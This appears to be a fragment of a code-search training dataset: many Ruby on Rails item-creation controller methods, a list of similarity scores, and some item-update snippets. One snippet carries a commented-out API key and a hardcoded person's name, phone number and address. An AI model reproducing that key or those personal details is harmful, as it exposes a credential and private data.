"def create_item()\n\n request_body = {\n 'name' => 'Milkshake',\n 'variations' => [\n {\n 'name' => 'Small',\n 'pricing_type' => 'FIXED_PRICING',\n 'price_money' => {\n 'currency_code' => 'USD',\n 'amount' => 400\n }\n }\n ]\n }\n\n response = Unirest.post CONNECT_HOST + '/v1/' + LOCATION_ID + '/items',\n headers: REQUEST_HEADERS,\n parameters: request_body.to_json\n\n if response.code == 200\n puts 'Successfully created item:'\n puts JSON.pretty_generate(response.body)\n return response.body\n else\n puts 'Item creation failed'\n puts response.body\n return nil\n end\nend",
"def create\n company_id = session['current_company'] || current_user.current_company || current_user.first_company_id\n\n @item = Item.new(item_params)\n authorize @item\n options = params[:position].present? ? params.merge(company_ids: company_id) : params\n associate_entity(options, @item)\n respond_to do |format|\n if @item.save\n format.js\n format.json { render :json => @item, :status => :created, :location => @item }\n format.html { redirect_to item_path(@item), notice: new_item(@item.id) }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @api_v1_item = Item.new(api_v1_item_params)\n\n if @api_v1_item.save\n render json: @api_v1_item\n else\n render json: @api_v1_item.errors\n end\n end",
"def create\n @curriculumID = Curriculum.find(params[:curriculum_id])\n @item = @curriculumID.items.build(params[:item])\n respond_to do |format|\n if @item.save\n format.html { redirect_to @curriculumID, notice: \"Lehrplaninhalt #{@item.title} wurde erfolgreich angelegt.\" }\n format.json { render action: 'show', status: :created, location: @item } \n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to root_url, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, item: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n if @item.save\n render json: @item\n else\n render json: { error: t('story_create_error') }, status: :unprocessable_entity\n end\n end",
"def stock_item_params\n params.require(:stock_item).permit(:item_code, :name, :expires)\n end",
"def create\n @furniture_item = FurnitureItem.new(furniture_item_params)\n\n respond_to do |format|\n if @furniture_item.save\n format.html { redirect_to @furniture_item, notice: 'Furniture item was successfully created.' }\n format.json { render :show, status: :created, location: @furniture_item }\n else\n format.html { render :new }\n format.json { render json: @furniture_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @budget = Budget.find(params[:budget_id])\n @proposed_item = @budget.proposed_items.build(proposed_item_params)\n\n respond_to do |format|\n if @proposed_item.save\n format.html { redirect_to @budget, notice: 'Proposed item was successfully created.' }\n format.json { render :show, status: :created, location: @proposed_item }\n else\n format.html { render :new }\n format.json { render json: @proposed_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @budgetitem = Budgetitem.new(budgetitem_params)\n\n respond_to do |format|\n if @budgetitem.save\n format.html { redirect_to @budgetitem, notice: 'Budgetitem was successfully created.' }\n format.json { render :show, status: :created, location: @budgetitem }\n else\n format.html { render :new }\n format.json { render json: @budgetitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n # params enums to integer\n params[:item][:brand_generic_compound] = params[:item][:brand_generic_compound].to_i\n params[:item][:dea_schedule] = params[:item][:dea_schedule].to_i\n params[:item][:drug_class] = params[:item][:drug_class].to_i\n params[:item][:maintenance_code] = params[:item][:maintenance_code].to_i\n\n @item = Item.new(item_params)\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n if @item.save\n render json: ItemSerializer.new(@item)\n else\n render json: @section.errors, status: :unprocessable_entity\n end\n end",
"def create\n @fb_item = FbItem.new(params[:fb_item])\n\n respond_to do |format|\n if @fb_item.save\n format.html { redirect_to @fb_item, notice: 'Fb item was successfully created.' }\n format.json { render json: @fb_item, status: :created, location: @fb_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fb_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def financing_item_params\n params.require(:financing_item).permit(:financing_id, :money_cent, :paid_at, :interested_at, :money_yuan, :money_flow)\n end",
"def create(attributes)\n response = JSON.parse(@client.post('items', attributes).body)\n Promisepay::Item.new(@client, response['items'])\n end",
"def createItemOfList\n results1 = checkUser(params[:target_account]) #userid user to give the money\n if results1.code == 200\n parameters={user_id: (@current_user[\"id\"]).to_i, description: (params[:description]), date_pay: params[:date_pay], cost: params[:cost], target_account: params[:target_account], state_pay:params[:state_pay]}\n options = {\n :body => parameters.to_json,\n :headers => {\n 'Content-Type' => 'application/json'\n }\n }\n results = HTTParty.post(\"http://192.168.99.101:4055/lists\", options)\n if results.code == 201\n head 201\n else\n render json: results.parsed_response, status: results.code\n end\n elsif results1.code == 404\n renderError(\"Not Found\", 404, \"The resource does not exist\")\n end\n end",
"def create\n @user = current_user\n @contract_item = ContractItem.new(contract_item_params)\n\n respond_to do |format|\n if @contract_item.save\n log( \"New contract item is added\", @user )\n\n format.html { redirect_to @contract_item, notice: 'Contract item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @contract_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @contract_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = BudgetItem.new(params[:budget_item])\n\n respond_to do |format|\n if @item.save\n flash[:notice] = 'Item was successfully created.'\n format.html { redirect_to(@item) }\n format.xml { render :xml => @item, :status => :created, :location => @item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: \"Item was successfully created.\" }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to '/items', notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @finance_items = FinanceItem.all\n end",
"def create\n @order_item = OrderItem.new(order_items_params)\n\n respond_to do |format|\n if @order_item.save\n format.html { redirect_to @order_item, notice: \"Order item was successfully created.\" }\n format.json { render json: @order_item, status: :created, location: @order_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order_item.errors, status: :unprocessable_entry }\n end\n end\n end",
"def create\n @item = build_item\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to items_path, notice: 'アップロードしたでー' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n ListItem.transaction do\n item = Item.new(item_params)\n item.save\n\n @list_item = ListItem.new(list_item_params)\n @list_item.item_id = item.id\n @list_item.list_id = params[:list_id]\n\n\n if @list_item.save\n render json: @list_item, status: :created\n else\n render json: @list_item.errors, status: :unprocessable_entity\n end\n end\n end",
"def create\n @apiv1_item = Item.new(apiv1_item_params)\n\n respond_to do |format|\n if @apiv1_item.save\n format.html { redirect_to @apiv1_item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @apiv1_item }\n else\n format.html { render :new }\n format.json { render json: @apiv1_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to :items, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @slot }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n if params[:portfolio_finance][:share_items].present?\n ShareItem.where(:portfolio_finance_id => @portfolio_finance.id).destroy_all\n params[:portfolio_finance][:share_items].each do |key, share_item|\n if share_item[:quantity].to_i > 0\n @portfolio_finance.add_share_item(ShareItem.new(:share_id => key, :quantity => share_item[:quantity].to_i))\n end\n end\n end\n\n respond_to do |format|\n if @portfolio_finance.update(portfolio_finance_params)\n format.html { redirect_to root_path, notice: 'Portfolio finance was successfully updated.' }\n format.json { render :show, status: :ok, location: @portfolio_finance }\n else\n format.html { render :edit }\n format.json { render json: @portfolio_finance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #api_key = \"cb8d3966-e1c6-4429-a8cf-b615523481c4\"\n\n @item = Item.new(item_params)\n\n @swift_api_key = SwiftApiKey.first\n\n api_key = @swift_api_key.key\n\n HTTParty.post(\"https://app.getswift.co/api/v2/deliveries\",\n {\n :body => {\n \"apiKey\": api_key,\n \"booking\":{\n \"items\": [{\n \"quantity\": @item.quantity,\n \"sku\": @item.sku,\n \"description\": @item.description,\n \"price\": @item.price\n }],\n \"pickupDetail\": {\n \"name\": \"Marko\",\n \"phone\": \"604 356 8259\",\n \"address\": \"301 Maude Road, Port Moody, V3H5B1\"\n },\n \"dropoffDetail\": {\n \"name\": @item.name,\n \"phone\": @item.phone,\n \"address\": @item.address\n }\n }\n }.to_json,\n :headers => { 'Content-Type' => 'application/json' }\n }\n )\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n json_response(current_restaurant.restaurant_food_items.create!(food_item_params), :created)\n end",
"def create\n @itemstable = Itemstable.new(params[:itemstable])\n\n respond_to do |format|\n if @itemstable.save\n format.html { redirect_to @itemstable, notice: 'Itemstable was successfully created.' }\n format.json { render json: @itemstable, status: :created, location: @itemstable }\n else\n format.html { render action: \"new\" }\n format.json { render json: @itemstable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_items(account_number, cart_id, item_form)\r\n # the base uri for api requests\r\n query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts/{account_number}/carts/{cart_id}/items'\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n 'account_number' => account_number,\r\n 'cart_id' => cart_id\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'accept' => 'application/json',\r\n 'content-type' => 'application/json; charset=utf-8',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.post query_url, headers: headers, parameters: item_form.to_json\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 403\r\n raise APIException.new 'User not authorized to perform the operation', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource', 404, response.raw_body\r\n elsif response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end",
"def create\n @placed_furniture_item = PlacedFurnitureItem.new(placed_furniture_item_params)\n\n respond_to do |format|\n if @placed_furniture_item.save\n format.html { redirect_to @placed_furniture_item, notice: 'Placed furniture item was successfully created.' }\n format.json { render :show, status: :created, location: @placed_furniture_item }\n else\n format.html { render :new }\n format.json { render json: @placed_furniture_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_create\n @item = Item.new(item_params)\n respond_to do |format|\n if @item.save\n format.html { redirect_to item_index_path, notice: 'O item foi criado com sucesso.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :item_new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_save_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_stock(item)\n item_stocks.create(item_id: item.id)\n end",
"def processItemsOrder\n @id = params[:itemID]\n @description = params[:description]\n @price = params[:price]\n @award = params[:award]\n @item = Item.find_by(id: @id)\n \n if @item.save\n head 204\n else\n # test\n render json: @item.to_json, status: 400\n # originally\n #head 400\n end\n end",
"def create\n @auction_item = AuctionItem.new(auction_item_params)\n\n respond_to do |format|\n if @auction_item.save\n format.html { redirect_to @auction_item, notice: 'Auction item was successfully created.' }\n format.json { render :show, status: :created, location: @auction_item }\n else\n format.html { render :new }\n format.json { render json: @auction_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quote_request_item = QuoteRequestItem.new(quote_request_item_params)\n\n respond_to do |format|\n if @quote_request_item.save\n format.html { redirect_to @quote_request_item, notice: 'Quote request item was successfully created.' }\n format.json { render :show, status: :created, location: @quote_request_item }\n else\n format.html { render :new }\n format.json { render json: @quote_request_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @invoice_data_item = InvoiceDataItem.new(invoice_data_item_params)\n\n respond_to do |format|\n if @invoice_data_item.save\n format.html { redirect_to @invoice_data_item, notice: 'Invoice data item was successfully created.' }\n format.json { render :show, status: :created, location: @invoice_data_item }\n else\n format.html { render :new }\n format.json { render json: @invoice_data_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n \n respond_to do |format|\n if @item.save \n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trade_item = TradeItem.new(trade_item_params)\n\n respond_to do |format|\n if @trade_item.save\n format.html { redirect_to @trade_item, notice: 'Trade item was successfully created.' }\n format.json { render :show, status: :created, location: @trade_item }\n else\n format.html { render :new }\n format.json { render json: @trade_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item_acompanhamento = ItemAcompanhamento.new(item_acompanhamento_params)\n\n respond_to do |format|\n if @item_acompanhamento.save\n format.html { redirect_to @item_acompanhamento, notice: 'Item acompanhamento was successfully created.' }\n format.json { render :show, status: :created, location: @item_acompanhamento }\n else\n format.html { render :new }\n format.json { render json: @item_acompanhamento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @foil_item = FoilItem.new(foil_item_params)\n\n respond_to do |format|\n if @foil_item.save\n format.html { redirect_to @foil_item, notice: 'Foil item was successfully created.' }\n format.json { render :show, status: :created, location: @foil_item }\n else\n format.html { render :new }\n format.json { render json: @foil_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to lists_path, :notice => 'Item was successfully created.' }\n format.json { render :json => lists_path, :status => :created, :location => lists_path }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item_datum = ItemData.new(params[:item_datum])\n\n respond_to do |format|\n if @item_datum.save\n format.html { redirect_to @item_datum, notice: 'Item datum was successfully created.' }\n format.json { render json: @item_datum, status: :created, location: @item_datum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n #debug\n write_log(\n Const::SL::LOG_PATH_SL,\n \"items_controller#create(params[:item] => #{params[:item]})\",\n # __FILE__,\n __FILE__.split(\"/\")[-1],\n __LINE__.to_s)\n\n \n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @closing_item = ClosingItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @closing_item }\n end\n end",
"def writeItem(app, repo_url, item)\n headers = defaultHeaders(app[\"token\"])\n data = item.to_json\n response = HTTParty.post(repo_url,\n headers: headers,\n body: data)\n response\nend",
"def create\n @user = User.find(current_user.id)\n @item = @user.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to '/items', notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n @item.stock_id = params[:stock_id]\n @stock_audit = StockAudit.new\n @stock_audit.item = @item\n @stock_audit.user = current_user\n @stock_audit.audit_params = \"#{item_params}\"\n @stock_audit.comment = \"created a new item\"\n respond_to do |format|\n if @item.save\n @stock_audit.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n @backlog_item = BacklogItem.new(backlog_item_all_params)\n \n if @backlog_item.item_type == \"sprint\"\n if params.has_key?(\"start_date\") && params.has_key?(\"end_date\")\n @backlog_item.info = {start_date: params[:start], end_date: params[:end]}.to_json\n end\n end\n\n respond_to do |format|\n if @backlog_item.save\n format.html { redirect_to @backlog_item, notice: 'Backlog item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @backlog_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @backlog_item.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6814838",
"0.6689369",
"0.66512513",
"0.6623668",
"0.6533722",
"0.6532302",
"0.6465505",
"0.64310044",
"0.6361969",
"0.6326397",
"0.6294628",
"0.6280642",
"0.62482363",
"0.6224531",
"0.62207127",
"0.6220022",
"0.6196105",
"0.6194501",
"0.6180617",
"0.6169995",
"0.616083",
"0.6142458",
"0.6138579",
"0.6119563",
"0.6107172",
"0.60862046",
"0.60829467",
"0.60824287",
"0.607673",
"0.60610455",
"0.60478705",
"0.6040227",
"0.6018646",
"0.6018085",
"0.6017731",
"0.6017731",
"0.6017731",
"0.6017731",
"0.6017731",
"0.6017731",
"0.6017731",
"0.60086286",
"0.6006664",
"0.5992095",
"0.59789604",
"0.59745866",
"0.59610504",
"0.5957149",
"0.59565",
"0.5955667",
"0.595195",
"0.5942415",
"0.5937358",
"0.59371036",
"0.59337175",
"0.59337175",
"0.59337175",
"0.59337175",
"0.59337175",
"0.59337175",
"0.59337175",
"0.59337175",
"0.59337175",
"0.59337175",
"0.59337175",
"0.59337175",
"0.59337175",
"0.59337175",
"0.59337175",
"0.59337175",
"0.59303176",
"0.5921098",
"0.59182644",
"0.59168345",
"0.59160113",
"0.5912073",
"0.59120476",
"0.59113014",
"0.5909763",
"0.59073573",
"0.59061664",
"0.59023",
"0.5900551",
"0.5898828",
"0.58945394",
"0.589337",
"0.5880659",
"0.5866427",
"0.58662647",
"0.58563584",
"0.58563584",
"0.58563584",
"0.58563584",
"0.58563584",
"0.5852524",
"0.5837674",
"0.5835332",
"0.58344996",
"0.5822463",
"0.581778",
"0.58052045"
] |
0.0
|
-1
|
PATCH/PUT /finance_items/1 PATCH/PUT /finance_items/1.json
|
def update
respond_to do |format|
if @finance_item.update(finance_item_params)
format.html { redirect_to @finance_item, notice: 'Finance item was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @finance_item.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n render json: Item.update(params[\"id\"], params[\"item\"])\n end",
"def update\n respond_to do |format|\n if @budget.update(budget_params)\n Item.where([\"budget_id = #{params[:id]}\"]).update_all(budget_id: nil)\n if !params[:budget][:items].nil?\n params[:budget][:items].each do |f| \n Item.where([\"id = #{f}\"]).first.update(budget_id: params[:id])\n end\n end\n format.html { redirect_to budgets_path, notice: \"Budget was successfully updated.\" }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n if @api_v1_item.update(api_v1_item_params)\n render json: @api_v1_item\n else\n render json: @api_v1_item.errors\n end\n end",
"def update\n\n #update the item of request_item\n if (params[:request_item].present?)\n @request_item.item = params[:request_item][:item].present? ? Item.new(name: params[:request_item][:item][:name]) : @request_item.item\n end\n #update all other parameters\n if @request_item.update(request_item_params)\n render json: @request_item\n else\n render json: @request_item.errors, status: :bad_request\n end\n\n end",
"def update\n json_response(@food_item.update!(food_item_params))\n end",
"def update\n if @item.update(item_params)\n render json: @item, status: :ok\n else\n render json: @item.errors, status: :unprocessable_entity\n end\n end",
